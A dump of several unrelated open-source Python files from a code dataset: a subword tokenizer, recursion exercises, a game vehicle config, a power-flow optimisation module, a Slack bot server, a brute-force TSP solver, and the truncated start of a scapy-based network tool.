Tokenizer\n\n Arguments:\n numsymbols: maximum number of symbols to generate\n minfreq: minimum frequency for a string of characters to be made into a symbol\n crosswords: whether to allow generated symbols to cross word boundaries\n \"\"\"\n self.numsymbols = numsymbols\n self.minfreq = minfreq\n self.crosswords = crosswords\n self.symbols = None\n self.detector = None\n\n def validpair(self, s1, s2):\n \"\"\"Checks that a pair a symbols is valid for joining\n\n Essentially amounts to checking that neither symbol is crossing a word boundary, if such option is\n active.\n \"\"\"\n # If crosswords option is active, we can join anything\n if self.crosswords:\n return True\n # Else, if both are already a composite symbol, it's ok to join\n elif len(s1) > 1 and len(s2) > 1:\n return True\n # If any of them are characters, check that both are valid word symbols\n else:\n return (len(s1) > 1 or re.match(\"\\w\", s1)) and (len(s2) > 1 or re.match(\"\\w\", s2))\n\n def pairfreqs(self, corpus):\n \"\"\"Computes symbol pair statistics over a corpus\n\n The input must be a list of docs, each a LinkedList of symbols.\n Statistics over words won't be accounted for if the crosswords options is disabled.\n \"\"\"\n stats = collections.defaultdict(int)\n for doc in corpus:\n for node in doc.iternodes():\n # Only account for non-word symbols of crosswords option is active\n if node.nxt is not None and self.validpair(node.value, node.nxt.value):\n stats[node.value, node.nxt.value] += 1\n return stats\n\n def mergesymbols(self, corpus, symbols, freqs, leftsymbol, rightsymbol):\n \"\"\"Merges two symbols in the encoding\n\n Arguments:\n - corpus: current list of docs, each a LinkedList of symbols\n - symbols: current set of symbols\n - freqs: current symbol pairs statistics\n - leftsymbol, rightsymbol: symbols to merge\n\n Returns:\n - new corpus with merged symbols\n - new list of symbols\n - updated symbol pair statistics\n \"\"\"\n # Add new symbol to set\n newsymbol = leftsymbol + rightsymbol\n self.symbols.add(newsymbol)\n\n # Go over each doc in corpus, find occurrences of the given pair and merge\n for doc in corpus:\n for node in doc.iternodes():\n if node.value == leftsymbol and node.nxt is not None and node.nxt.value == rightsymbol:\n node.mergewithnext()\n # Update frequencies with previous symbol\n if node.prev is not None and self.validpair(node.prev.value, newsymbol):\n prevsymbol = node.prev.value\n freqs[prevsymbol, newsymbol] += 1\n freqs[prevsymbol, leftsymbol] -= 1\n # Update frequencies with next symbol\n if node.nxt is not None and self.validpair(node.nxt.value, newsymbol):\n nextsymbol = node.nxt.value\n freqs[newsymbol, nextsymbol] += 1\n freqs[rightsymbol, nextsymbol] -= 1\n\n # Delete statistics of merged symbols\n del freqs[(leftsymbol, rightsymbol)]\n\n return corpus, freqs, symbols\n\n def compile(self):\n \"\"\"Compiles the parsing expression for more efficiency\"\"\"\n # Sort symbols by length, so larger symbols have precedence\n srt = sorted(self.symbols, key=lambda x: len(x), reverse=True)\n # Escape special symbols\n srt = [re.escape(token) for token in srt]\n # Detect any symbol, with precedence for larger ones\n self.detector = re.compile('|'.join(srt))\n\n def bestmatch(self, string):\n \"\"\"Find the best matching symbol at the beggining of a string\"\"\"\n if self.detector is None:\n raise ValueError(\"Tokenizer has not been fitted\")\n match = self.detector.match(string)\n if match is not None:\n return match.group()\n else:\n return None\n\n def prunesymbols(self, corpus):\n \"\"\"Removes from the list of symbols those that appear unfrequently in the corpus\n\n This is useful after performing all the merge operations, where some symbols might\n have dissapeared from the corpus aftar being merged with others.\n\n The provided corpus must be an iterable of documents, each a Linked List of symbols\n after all merge operations.\n\n Symbols made of 1 character are never removed.\n \"\"\"\n # Compute frequencies of the provided corpus\n freqs = collections.defaultdict(int)\n for doc in corpus:\n for symbol in doc:\n freqs[symbol] += 1\n # Go over the symbols in the tokenizer, remove those with low frequency and more than 1 char\n self.symbols = {symbol for symbol in self.symbols if len(symbol) == 1 or freqs[symbol] >= self.minfreq}\n\n def mergingrun(self, corpus, freqs):\n \"\"\"Performs symbol merge operations till a max number of symbols is reached, or too infrequent symbols appear\"\"\"\n while len(self.symbols) < self.numsymbols:\n # Find most frequent pair\n leftsymbol, rightsymbol = max(freqs, key=freqs.get)\n # If most frequent is too infrequent, stop procedure\n if freqs[(leftsymbol, rightsymbol)] < self.minfreq:\n return corpus, freqs\n # Merge symbols\n corpus, freqs, self.symbols = self.mergesymbols(\n corpus,\n self.symbols,\n freqs,\n leftsymbol,\n rightsymbol\n )\n return corpus, freqs\n\n def fit(self, corpus):\n # Cast corpus to list of linked-lists of symbols\n corpus = [LinkedList(doc) for doc in corpus]\n # Initialize symbols with chars\n self.symbols = set(chain(*[doc for doc in corpus]))\n # Compute char pairs frequencies\n freqs = self.pairfreqs(corpus)\n # Merge steps until maximum number of symbols reached\n finished = False\n while not finished:\n # Merge symbols as much as possible\n corpus, freqs = self.mergingrun(corpus, freqs)\n # Now prune the set to remove small symbols that might have been embedded in others\n beforeprune = len(self.symbols)\n self.prunesymbols(corpus)\n afterprune = len(self.symbols)\n # If the prune was effective, try another merge run. Else finish the algorithm\n if beforeprune == afterprune:\n finished = True\n # Compile tokenizer for found symbols\n self.compile()\n\n def transform(self, text):\n transformed = []\n i = 0\n while i < len(text):\n symbol = self.bestmatch(text[i:])\n transformed.append(symbol)\n i += len(symbol)\n return transformed\n\n def __eq__(self, other):\n if not isinstance(other, SubwordTokenizer):\n return False\n return self.symbols == other.symbols\n\n\n\"\"\"Dictionary of tokenizers indexed by a string\"\"\"\nTOKENIZERSBYNAME = {\n \"char\": CharTokenizer,\n \"word\": WordTokenizer,\n \"subword\": SubwordTokenizer,\n}\n\n\ndef tokenizerbyname(tokenizername):\n \"\"\"Returns a tokenizer class by name\"\"\"\n if tokenizername not in TOKENIZERSBYNAME:\n raise ValueError(\"Unknown tokenizer %s\" % tokenizername)\n return TOKENIZERSBYNAME[tokenizername]\n","repo_name":"albarji/neurowriter","sub_path":"neurowriter/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":11030,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"52"} +{"seq_id":"5284140451","text":"def factorial(num):\n \"\"\"calculates factorial of a number using recursion\"\"\"\n if num == 0 or num == 1: # base cases\n return 1\n return num * factorial(num-1) # recursion with num-1\n \ndef sums(num):\n \"\"\"calculates the sum of numbers from 0 to 'num' using recursion\"\"\"\n if num == 0: # base case\n return 0\n if num == 1: # base case\n return 1\n return num + sums(num-1) # recursion with num-1\n\n# open file 'recursion.txt' and iterate over each line\nwith open('recursion.txt') as file:\n for line in file:\n n = int(line.strip()) # strip whitespace from line and convert it to integer\n if n < 0: # check if n is negative\n print(\"number is negative\")\n continue # skip to next iteration\n factorial_n = factorial(n)\n sum_n = sums(n)\n print(f\"factorial sum: {factorial_n} {sum_n}\")","repo_name":"luminaa/CSCI-135","sub_path":"Lab Works/Recursion_Lab/recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11152741375","text":"from road_vehicle import BoxHauler, ElectricRoadVehicle\n\nconsist = BoxHauler(id='rakeway_box',\n base_numeric_id=870,\n name='Rakeway',\n tram_type='ELRL',\n vehicle_life=40,\n intro_date=1900)\n\nconsist.add_unit(type=ElectricRoadVehicle,\n capacity=30,\n vehicle_length=8,\n effects=['EFFECT_SPRITE_ELECTRIC, 0, 0, 10'],\n repeat=2)\n","repo_name":"andythenorth/road-hog","sub_path":"src/vehicles/rakeway_box.py","file_name":"rakeway_box.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"27382888483","text":"import networkx as nx\nimport os\nimport pandas as pd\n\nfrom pyomo.environ import Set, Var, Constraint, Reals, Param\n\nfrom gridpath.auxiliary.auxiliary import (\n subset_init_by_param_value,\n subset_init_by_set_membership,\n)\n\n\ndef add_model_components(m, d, scenario_directory, subproblem, stage):\n \"\"\"\n The following Pyomo model components are defined in this module:\n\n +-------------------------------------------------------------------------+\n | Sets |\n +=========================================================================+\n | | :code:`TX_DCOPF` |\n | |\n | The set of transmission lines of the :code:`tx_dcopf` operational type. |\n +-------------------------------------------------------------------------+\n | | :code:`TX_DCOPF_OPR_TMPS` |\n | |\n | Two-dimensional set with transmission lines of the :code:`tx_dcopf` |\n | operational type and their operational timepoints. |\n +-------------------------------------------------------------------------+\n\n |\n\n +-------------------------------------------------------------------------+\n | Derived Sets |\n +=========================================================================+\n | | :code:`PRDS_CYCLES_ZONES` |\n | |\n | Three-dimensional set describing the combination of periods, cycles, |\n | and zones/nodes. A cycle is a \"basic cycle\" in the network as defined |\n | in graph theory. This is the key set on which most other sets are |\n | derived. |\n +-------------------------------------------------------------------------+\n | | :code:`PRDS_CYCLES` |\n | |\n | Two-dimensional set with the period and cycle_id of the independent |\n | cycles of the network graph (the network can change between periods). |\n +-------------------------------------------------------------------------+\n | | :code:`CYCLES_OPR_TMPS` |\n | |\n | Two-dimensional set with of cycle IDs and operational timepoints. |\n | KVL constraint is indexed by this set. |\n +-------------------------------------------------------------------------+\n | | :code:`ZONES_IN_PRD_CYCLE` |\n | | *Defined over*: :code:`PRDS_CYCLES` |\n | |\n | Indexed set of ordered zones/nodes by period-cycle. Helper set, not |\n | directly used in constraints/param indices. |\n +-------------------------------------------------------------------------+\n | | :code:`PRDS_CYCLES_TX_DCOPF` |\n | |\n | Three-dimensional set of periods, cycle_ids, and transmission lines in |\n | that period-cycle. This set is used to determine the set |\n | :code:`TX_DCOPF_IN_PRD_CYCLE`. |\n +-------------------------------------------------------------------------+\n | | :code:`TX_DCOPF_IN_PRD_CYCLE` |\n | | *Defined over*: :code:`PRDS_CYCLES` |\n | |\n | Indexed set of transmission lines in each period-cycle. This set is |\n | used in the KVL constraint when summing up the values. |\n +-------------------------------------------------------------------------+\n\n |\n\n +-------------------------------------------------------------------------+\n | Required Params |\n +=========================================================================+\n | | :code:`tx_dcopf_reactance_ohms` |\n | | *Defined over*: :code:`TX_DCOPF` |\n | |\n | The series reactance in Ohms for each :code:`tx_dcopf` transmission |\n | line. |\n +-------------------------------------------------------------------------+\n\n |\n\n +-------------------------------------------------------------------------+\n | Derived Params |\n +=========================================================================+\n | | :code:`tx_dcopf_cycle_direction` |\n | | *Defined over*: :code:`PRDS_CYCLES_TX_DCOPF` |\n | |\n | The value of the cycle incidence matrix for each period-cycle-tx_line. |\n +-------------------------------------------------------------------------+\n\n |\n\n +-------------------------------------------------------------------------+\n | Variables |\n +=========================================================================+\n | | :code:`TxDcopf_Transmit_Power_MW` |\n | | *Defined over*: :code:`TX_DCOPF_OPR_TMPS` |\n | | *Within*: :code:`Reals` |\n | |\n | The transmission line's power flow in each timepoint in which the line |\n | is operational. Negative power means the power flow goes in the |\n | opposite direction of the line's defined direction. |\n +-------------------------------------------------------------------------+\n\n |\n\n +-------------------------------------------------------------------------+\n | Constraints |\n +=========================================================================+\n | | :code:`TxDcopf_Min_Transmit_Constraint` |\n | | *Defined over*: :code:`TX_DCOPF_OPR_TMPS` |\n | |\n | Transmitted power should exceed the transmission line's minimum power |\n | flow for in every operational timepoint. |\n +-------------------------------------------------------------------------+\n | | :code:`TxDcopf_Max_Transmit_Constraint` |\n | | *Defined over*: :code:`TX_DCOPF_OPR_TMPS` |\n | |\n | Transmitted power cannot exceed the transmission line's maximum power |\n | flow in every operational timepoint. |\n +-------------------------------------------------------------------------+\n | | :code:`TxDcopf_Kirchhoff_Voltage_Law_Constraint` |\n | | *Defined over*: :code:`CYCLES_OPR_TMPS` |\n | |\n | The sum of all potential difference across branches around all cycles |\n | in the network must be zero. Using DC OPF assumptions, this can be |\n | expressed in terms of the cycle incidence matrix and line reactance. |\n +-------------------------------------------------------------------------+\n\n \"\"\"\n\n # Sets\n ###########################################################################\n\n m.TX_DCOPF = Set(\n within=m.TX_LINES,\n initialize=lambda mod: subset_init_by_param_value(\n mod=mod,\n set_name=\"TX_LINES\",\n param_name=\"tx_operational_type\",\n param_value=\"tx_dcopf\",\n ),\n )\n\n m.TX_DCOPF_OPR_TMPS = Set(\n dimen=2,\n within=m.TX_OPR_TMPS,\n initialize=lambda mod: subset_init_by_set_membership(\n mod=mod, superset=\"TX_OPR_TMPS\", index=0, membership_set=mod.TX_DCOPF\n ),\n )\n\n # Derived Sets\n ###########################################################################\n\n m.PRDS_CYCLES_ZONES = Set(\n dimen=3, initialize=periods_cycles_zones_init, ordered=True\n )\n\n m.PRDS_CYCLES = Set(dimen=2, initialize=period_cycles_init)\n\n # Note: This assumes timepoints are unique across periods\n m.CYCLES_OPR_TMPS = Set(\n dimen=2,\n initialize=lambda mod: list(\n set((c, tmp) for (p, c) in mod.PRDS_CYCLES for tmp in mod.TMPS_IN_PRD[p])\n ),\n )\n\n m.ZONES_IN_PRD_CYCLE = Set(\n m.PRDS_CYCLES, initialize=zones_by_period_cycle_init, ordered=True\n )\n\n m.PRDS_CYCLES_TX_DCOPF = Set(\n dimen=3,\n within=m.PRDS_CYCLES * m.TX_LINES,\n initialize=periods_cycles_transmission_lines_init,\n )\n\n m.TX_DCOPF_IN_PRD_CYCLE = Set(\n m.PRDS_CYCLES, initialize=tx_lines_by_period_cycle_init\n )\n\n # Required Params\n ###########################################################################\n\n m.tx_dcopf_reactance_ohms = Param(m.TX_DCOPF)\n\n # Derived Params\n ###########################################################################\n\n m.tx_dcopf_cycle_direction = Param(\n m.PRDS_CYCLES_TX_DCOPF, initialize=tx_dcopf_cycle_direction_init\n )\n\n # Variables\n ###########################################################################\n\n m.TxDcopf_Transmit_Power_MW = Var(m.TX_DCOPF_OPR_TMPS, within=Reals)\n\n # Constraints\n ###########################################################################\n\n m.TxDcopf_Min_Transmit_Constraint = Constraint(\n m.TX_DCOPF_OPR_TMPS, rule=min_transmit_rule\n )\n\n m.TxDcopf_Max_Transmit_Constraint = Constraint(\n m.TX_DCOPF_OPR_TMPS, rule=max_transmit_rule\n )\n\n m.TxDcopf_Kirchhoff_Voltage_Law_Constraint = Constraint(\n m.CYCLES_OPR_TMPS, rule=kirchhoff_voltage_law_rule\n )\n\n\n# Set Rules\n###############################################################################\n\n\ndef periods_cycles_zones_init(mod):\n \"\"\"\n Use the networkx module to determine the elementary (basic) cycles in the\n network graph, where a cycle is defined by the list of unordered zones\n (nodes) that belong to it. We do this for each period since the network\n can change between periods as we add/remove transmission lines (edges).\n\n The result is returned as a 3-dimensional set of period-cycle-zone\n combinations, e.g. (2030, 1, zone1) means that zone1 belongs to cycle 1\n in period 2030. This is the key set on which all other derived sets are\n based such that we onlyl have to perform the networkx calculations once.\n \"\"\"\n result = list()\n for period in mod.PERIODS:\n # Get the relevant tx_lines (= currently operational & DC OPF)\n tx_lines = list(mod.TX_DCOPF & mod.TX_LINES_OPR_IN_PRD[period])\n\n # Get the edges from the relevant tx_lines\n edges = [(mod.load_zone_to[tx], mod.load_zone_from[tx]) for tx in tx_lines]\n # TODO: make sure there are no parallel edges (or pre-process those)\n\n # Create a network graph from the list of lines (edges) and find\n # the elementary cycles (if any)\n graph = nx.Graph()\n graph.add_edges_from(edges)\n cycles = nx.cycle_basis(graph) # list w list of zones for each cycle\n for cycle_id, cycle in enumerate(cycles):\n for zone in cycle:\n result.append((period, cycle_id, zone))\n return result\n\n\ndef period_cycles_init(mod):\n \"\"\"\n Determine the period-cycle combinations from the larger PRDS_CYCLES_ZONES\n set. Note: set() will remove duplicates.\n \"\"\"\n return list(set([(p, c) for (p, c, z) in mod.PRDS_CYCLES_ZONES]))\n\n\ndef zones_by_period_cycle_init(mod, period, cycle):\n \"\"\"\n Re-arrange the 3-dimensional PRDS_CYCLES_ZONES set into a 1-dimensional\n set of ZONES, indexed by PRD_CYCLES\n \"\"\"\n zones = [z for (p, c, z) in mod.PRDS_CYCLES_ZONES if p == period and c == cycle]\n return zones\n\n\ndef periods_cycles_transmission_lines_init(mod):\n \"\"\"\n Based on which zones are in which cycle in each period (as defined in\n ZONES_IN_PRD_CYCLE), create a 3-dimensional set describing which\n transmission lines are in which cycle during each period.\n\n Note: Alternatively, we could simply define this set by the bigger set\n m.PRDS_CYCLES * m.TX_DCOPF and set the tx_dcopf_cycle_direction to zero\n whenever the line is not part of the cycle. This would get rid of the\n repetitive code in the init function below at the cost of iterating over\n more tx_lines than necessary in the summation of the KVL constraint.\n \"\"\"\n result = list()\n for p, c in mod.PRDS_CYCLES:\n # Ordered list of zones in the current cycle\n zones = list(mod.ZONES_IN_PRD_CYCLE[(p, c)])\n\n # Relevant tx_lines\n tx_lines = list(mod.TX_DCOPF & mod.TX_LINES_OPR_IN_PRD[p])\n\n # Get the edges from the relevant tx_lines\n edges = [(mod.load_zone_to[tx], mod.load_zone_from[tx]) for tx in tx_lines]\n\n # Get the tx lines in this cycle\n for tx_from, tx_to in zip(zones[-1:] + zones[:-1], zones):\n try:\n index = edges.index((tx_from, tx_to))\n except:\n try:\n # Revert direction\n index = edges.index((tx_to, tx_from))\n except:\n raise ValueError(\n \"The branch connecting {} and {} is not in the \"\n \"transmission line inputs\".format(tx_from, tx_to)\n )\n tx_line = tx_lines[index]\n result.append((p, c, tx_line))\n return result\n\n\ndef tx_lines_by_period_cycle_init(mod, period, cycle):\n \"\"\"\n Re-arrange the 3-dimensional PRDS_CYCLES_TX_DCOPF set into a 1-dimensional\n set of TX_DCOPF, indexed by PRD_CYCLES.\n \"\"\"\n txs = list(\n tx for (p, c, tx) in mod.PRDS_CYCLES_TX_DCOPF if c == cycle and p == period\n )\n return txs\n\n\n# Param Rules\n###############################################################################\n\n\ndef tx_dcopf_cycle_direction_init(mod, period, cycle, tx_line):\n \"\"\"\n **Param Name**: tx_dcopf_cycle_direction\n **Defined Over**: PRDS_CYCLES_TX_DCOPF\n\n This parameter describes the non-zero values of the cycle incidence\n matrix in each period. The parameter's value is 1 if the given tx_line\n is an element of the given cycle in the given period and -1 if it is the\n case for the reversed transmission line. The index of this param already\n excludes combinations of transmission lines that aren't part of a cycle,\n so the value is never zero.\n\n Note: The cycle direction is randomly determined by the networkx\n algorithm which means the param values can all be multiplied by (-1)\n in some model runs compared ot others.\n\n See \"Horsch et al. (2018). Linear Optimal Power Flow Using Cycle Flows\"\n for more background.\n \"\"\"\n zones = list(mod.ZONES_IN_PRD_CYCLE[(period, cycle)])\n from_to = (mod.load_zone_from[tx_line], mod.load_zone_to[tx_line])\n if from_to in zip(zones[-1:] + zones[:-1], zones):\n direction = 1\n elif from_to in zip(zones, zones[-1:] + zones[:-1]):\n direction = -1\n else:\n raise ValueError(\n \"The branch connecting {} and {} is not in the \"\n \"transmission line inputs\".format(\n mod.load_zone_from[tx_line], mod.load_zone_to[tx_line]\n )\n )\n return direction\n\n\n# Constraint Formulations\n###############################################################################\n\n\ndef min_transmit_rule(mod, l, tmp):\n \"\"\"\n **Constraint Name**: TxDcopf_Min_Transmit_Constraint\n **Enforced Over**: TX_DCOPF_OPR_TMPS\n\n Transmitted power should exceed the minimum transmission flow capacity in\n each operational timepoint.\n \"\"\"\n return (\n mod.TxDcopf_Transmit_Power_MW[l, tmp]\n >= mod.Tx_Min_Capacity_MW[l, mod.period[tmp]]\n * mod.Tx_Availability_Derate[l, tmp]\n )\n\n\ndef max_transmit_rule(mod, l, tmp):\n \"\"\"\n **Constraint Name**: TxDcopf_Max_Transmit_Constraint\n **Enforced Over**: TX_DCOPF_OPR_TMPS\n\n Transmitted power cannot exceed the maximum transmission flow capacity in\n each operational timepoint.\n \"\"\"\n return (\n mod.TxDcopf_Transmit_Power_MW[l, tmp]\n <= mod.Tx_Max_Capacity_MW[l, mod.period[tmp]]\n * mod.Tx_Availability_Derate[l, tmp]\n )\n\n\ndef kirchhoff_voltage_law_rule(mod, c, tmp):\n \"\"\"\n **Constraint Name**: TxDcopf_Kirchhoff_Voltage_Law_Constraint\n **Enforced Over**: CYCLES_OPR_TMPS\n\n The sum of all potential difference across branches around all cycles\n in the network must be zero in each operational timepoint. In DC power\n flow we assume all voltage magnitudes are kept at nominal value and the\n voltage angle differences across branches is small enough that we can\n approximate the sinus of the angle with the angle itself, i.e. sin(\n theta) ~ theta. We can therefore write KVL in terms of voltage angles as\n follows:\n\n ..math:: \\\\sum_{l} C_{l,c} * \\theta_{l} = 0 \\\\forall c = 1,...,L-N+1\n\n Using the linearized relationship between voltage angle\n differences across branches and the line flow, :math:`\\theta_{l} = x_{l}\n * f_{l}`, we can factor out the voltage angles and write KVL purely in\n terms of line flows and line reactances:\n\n .. math:: C_{l,c} * x_{l} * f_{l} = 0 \\\\forall c = 1,...,L-N+1\n\n The latter equation is enforced in this constraint.\n\n Note: While most power flow formulations normalize all inputs to per\n unit (p.u.) we can safely avoid that here since the normalization\n factors out in the equation, and it is really just about the relative\n magnitude of the reactance of the lines.\n\n Source: Horsch et al. (2018). Linear Optimal Power Flow Using Cycle Flows\n \"\"\"\n\n return (\n sum(\n mod.TxDcopf_Transmit_Power_MW[l, tmp]\n * mod.tx_dcopf_cycle_direction[mod.period[tmp], c, l]\n * mod.tx_dcopf_reactance_ohms[l]\n for l in mod.TX_DCOPF_IN_PRD_CYCLE[mod.period[tmp], c]\n )\n == 0\n )\n\n\n# Operational Type Methods\n###############################################################################\n\n\ndef transmit_power_rule(mod, l, tmp):\n \"\"\" \"\"\"\n return mod.TxDcopf_Transmit_Power_MW[l, tmp]\n\n\ndef transmit_power_losses_lz_from_rule(mod, line, tmp):\n \"\"\"\n No losses in DC OPF module for now.\n \"\"\"\n return 0\n\n\ndef transmit_power_losses_lz_to_rule(mod, line, tmp):\n \"\"\"\n No losses in DC OPF module for now.\n \"\"\"\n return 0\n\n\n# Input-Output\n###############################################################################\n\n\ndef load_model_data(m, d, data_portal, scenario_directory, subproblem, stage):\n \"\"\"\n\n :param m:\n :param data_portal:\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :return:\n \"\"\"\n\n # Get the DC OPF lines\n df = pd.read_csv(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"transmission_lines.tab\",\n ),\n sep=\"\\t\",\n usecols=[\n \"transmission_line\",\n \"load_zone_from\",\n \"load_zone_to\",\n \"tx_operational_type\",\n \"reactance_ohms\",\n ],\n )\n df = df[df[\"tx_operational_type\"] == \"tx_dcopf\"]\n\n # Dict of reactance by tx_dcopf line\n reactance_ohms = dict(\n zip(df[\"transmission_line\"], pd.to_numeric(df[\"reactance_ohms\"]))\n )\n\n # Load data\n data_portal.data()[\"tx_dcopf_reactance_ohms\"] = reactance_ohms\n","repo_name":"blue-marble/gridpath","sub_path":"gridpath/transmission/operations/operational_types/tx_dcopf.py","file_name":"tx_dcopf.py","file_ext":"py","file_size_in_byte":20714,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"52"} +{"seq_id":"71656302885","text":"import threading\nimport time\n\nimport websocket\nfrom slackclient.server import SlackConnectionError\n\nimport handlers.handler_factory as handler_factory\n\nfrom bottypes.invalid_console_command import *\nfrom util.slack_wrapper import *\nfrom util.loghandler import log\nfrom services.enabled_services import enabled_services\n\n# This pointless line is quite important. This registers all the handlers so no delete plox until a rewrite\nfrom handlers import *\n\n\nclass BotServer(threading.Thread):\n\n # Global lock for locking global data in bot server\n thread_lock = threading.Lock()\n user_list = {}\n\n def __init__(self):\n log.debug(\"Parse config file and initialize threading...\")\n threading.Thread.__init__(self)\n self.running = False\n self.config = {}\n self.bot_name = \"\"\n self.bot_id = \"\"\n self.bot_at = \"\"\n self.slack_wrapper = None\n self.service_stack = []\n\n @staticmethod\n def lock():\n \"\"\"Acquire global lock for working with global (not thread-safe) data.\"\"\"\n BotServer.thread_lock.acquire()\n\n @staticmethod\n def release():\n \"\"\"Release global lock after accessing global (not thread-safe) data.\"\"\"\n BotServer.thread_lock.release()\n\n def quit(self):\n \"\"\"Inform the application that it is quitting.\"\"\"\n log.info(\"Shutting down\")\n self.running = False\n\n def load_config(self):\n \"\"\"Load configuration file.\"\"\"\n self.lock()\n with open(\"./config.json\") as f:\n self.config = json.load(f)\n self.release()\n\n def get_config_option(self, option):\n \"\"\"Get configuration option.\"\"\"\n self.lock()\n result = self.config.get(option)\n self.release()\n\n return result\n\n def set_config_option(self, option, value):\n \"\"\"Set configuration option.\"\"\"\n self.lock()\n\n try:\n if option in self.config:\n self.config[option] = value\n log.info(\"Updated configuration: {} => {}\".format(option, value))\n\n with open(\"./config.json\", \"w\") as f:\n json.dump(self.config, f)\n else:\n raise InvalidConsoleCommand(\"The specified configuration option doesn't exist: {}\".format(option))\n finally:\n self.release()\n\n def parse_slack_message(self, message_list):\n \"\"\"\n The Slack Real Time Messaging API is an events firehose.\n Return (message, channel, user) if the message is directed at the bot,\n otherwise return (None, None, None).\n \"\"\"\n for msg in message_list:\n if msg.get(\"type\") == \"message\" and \"subtype\" not in msg:\n if self.bot_at in msg.get(\"text\", \"\"):\n # Return text after the @ mention, whitespace removed\n return msg['text'].split(self.bot_at)[1].strip(), msg['channel'], msg['user']\n elif msg.get(\"text\", \"\").startswith(\"!\"):\n # Return text after the !\n return msg['text'][1:].strip(), msg['channel'], msg['user']\n\n return None, None, None\n\n def parse_slack_reaction(self, message_list):\n for msg in message_list:\n msgtype = msg.get(\"type\")\n\n if msgtype == \"reaction_removed\" or msgtype == \"reaction_added\":\n # Ignore reactions from the bot itself\n if msg[\"user\"] == self.bot_id:\n continue\n\n if msg[\"item\"]:\n return msg[\"reaction\"], msg[\"item\"][\"channel\"], msg[\"item\"][\"ts\"], msg[\"user\"]\n\n return None, None, None, None\n\n def load_bot_data(self):\n \"\"\"\n Fetches the bot user information such as\n bot_name, bot_id and bot_at.\n \"\"\"\n log.debug(\"Resolving bot user in slack\")\n self.bot_name = self.slack_wrapper.username\n self.bot_id = self.slack_wrapper.user_id\n self.bot_at = \"<@{}>\".format(self.bot_id)\n log.debug(\"Found bot user {} ({})\".format(self.bot_name, self.bot_id))\n self.running = True\n\n def start_services(self):\n for service in enabled_services:\n log.info(\"[Services] Enabling {}\".format(service.__name__))\n s = service(self, self.slack_wrapper)\n self.service_stack.append(s)\n s.start()\n\n def stop_services(self):\n for service in self.service_stack:\n service.cancel()\n\n def run(self):\n log.info(\"Starting server thread...\")\n\n self.running = True\n self.load_config()\n self.slack_wrapper = SlackWrapper(self.get_config_option(\"api_key\"))\n self.start_services()\n\n while self.running:\n try:\n if self.slack_wrapper.connected:\n log.info(\"Connection successful...\")\n self.load_bot_data()\n read_websocket_delay = 1 # 1 second delay between reading from firehose\n\n # Might even pass the bot server for handlers?\n log.info(\"Initializing handlers...\")\n handler_factory.initialize(self.slack_wrapper, self)\n\n # Main loop\n log.info(\"Bot is running...\")\n while self.running:\n message = self.slack_wrapper.read()\n if message:\n reaction, channel, ts, reaction_user = self.parse_slack_reaction(message)\n\n if reaction:\n log.debug(\"Received reaction : {} ({})\".format(reaction, channel))\n handler_factory.process_reaction(\n self.slack_wrapper, reaction, ts, channel, reaction_user)\n\n command, channel, user = self.parse_slack_message(message)\n\n if command:\n log.debug(\"Received bot command : {} ({})\".format(command, channel))\n handler_factory.process(self.slack_wrapper, command, channel, user)\n\n time.sleep(read_websocket_delay)\n else:\n log.error(\"Connection failed. Invalid slack token or bot id?\")\n self.running = False\n except websocket._exceptions.WebSocketConnectionClosedException:\n log.exception(\"Web socket error. Executing reconnect...\")\n except SlackConnectionError:\n # Try to reconnect if slackclient auto_reconnect didn't work out. Keep an eye on the logfiles,\n # and remove the superfluous exception handling if auto_reconnect works.\n log.exception(\"Slack connection error. Trying manual reconnect in 5 seconds...\")\n time.sleep(5)\n self.stop_services()\n log.info(\"Shutdown complete...\")\n","repo_name":"cr0wnctf/old-slack-bot","sub_path":"server/botserver.py","file_name":"botserver.py","file_ext":"py","file_size_in_byte":6910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39933672677","text":"import numpy as np\r\nimport itertools\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\nimport matplotlib.animation as animation\r\nimport pandas as pd\r\n\"\"\"\"\"Class to solve the TSP for our little example with the 10 biggest cities in CH \"\"\"\r\nclass bftsp(object):\r\n def __init__(self,mat):\r\n self.matkm = mat\r\n self.n = len(mat)\r\n\r\n def bf(self,a= True) :\r\n if a == True :\r\n mat = self.matkm\r\n else :\r\n mat = self.mat \r\n minLength = np.inf\r\n for tour in itertools.permutations(list(range(1,self.n))):\r\n fr = 0\r\n length = 0\r\n count = 0\r\n while count < self.n-1:\r\n to = tour[count]\r\n length += mat[fr][to]\r\n fr = to\r\n count += 1\r\n length += mat[fr][0]\r\n if length < minLength:\r\n minLength = length\r\n minTour = tour\r\n minTour = (0,) + minTour + (0,)\r\n if a == True :\r\n self.minLengthkm = minLength\r\n self.minTourkm = minTour\r\n else :\r\n self.minLength = minLength\r\n self.minTour = minTour \r\n \r\n def matdist(self,coords):\r\n self.coord = coords\r\n self.mat = np.zeros((self.n,self.n))\r\n for i in range(self.n):\r\n for j in range(i+1,self.n):\r\n lon = (self.coord[i][0]-self.coord[j][0])**2\r\n la = (self.coord[i][1]-self.coord[j][1])**2\r\n self.mat[i,j] = (la + lon)**0.5\r\n self.mat[j,i] = self.mat[i,j]\r\n return self.mat\r\n \r\n def __str__(self):\r\n return \"Minpath is :\" + str(self.minTour) + \" and has a length of : \" + str(self.minLength)\r\n\r\n\r\n","repo_name":"Endkas/TSP","sub_path":"BFex.py","file_name":"BFex.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22293844439","text":"import prettytable\nimport argparse\nimport argparse_parent_base\nimport time\nfrom printer import Printer\nfrom multiprocessing import Pool, Queue\nfrom misc import read_host_from_file, valid_port\n\nfrom scapy.all import *\nICMP_TYPE_DESTINATION_UNREACHABLE = 3\nICMP_CODE_HOST_UNREACHABLE = 